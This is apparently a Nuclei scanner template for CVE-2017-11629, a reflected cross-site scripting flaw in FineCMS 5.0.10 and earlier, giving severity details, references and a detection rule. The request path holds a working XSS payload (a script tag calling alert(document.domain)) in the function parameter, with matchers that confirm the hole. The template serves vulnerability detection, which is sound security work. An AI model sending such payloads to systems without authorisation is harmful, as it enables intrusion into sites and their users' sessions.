id: CVE-2017-11629 info: name: FineCMS <=5.0.10 - Cross-Site Scripting author: ritikchaddha severity: medium description: | FineCMS through 5.0.10 contains a cross-site scripting vulnerability in controllers/api.php via the function parameter in a c=api&m=data2 request. reference: - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#URL-Redirector-Abuse - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#api-php-Reflected-XSS - https://nvd.nist.gov/vuln/detail/CVE-2017-11629/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-11629 cwe-id: CWE-79 epss-score: 0.001 cpe: cpe:2.3:a:finecms:finecms:*:*:*:*:*:*:*:* metadata: max-request: 1 verified: true vendor: finecms product: finecms tags: cve,cve2017,xss,finecms http: - method: GET path: - "{{BaseURL}}/index.php?c=api&m=data2&function=%3Cscript%3Ealert(document.domain)%3C/script%3Ep&format=php" matchers-condition: and matchers: - type: word part: body words: - 'p不存在' - type: word part: header words: - text/html - type: status status: - 200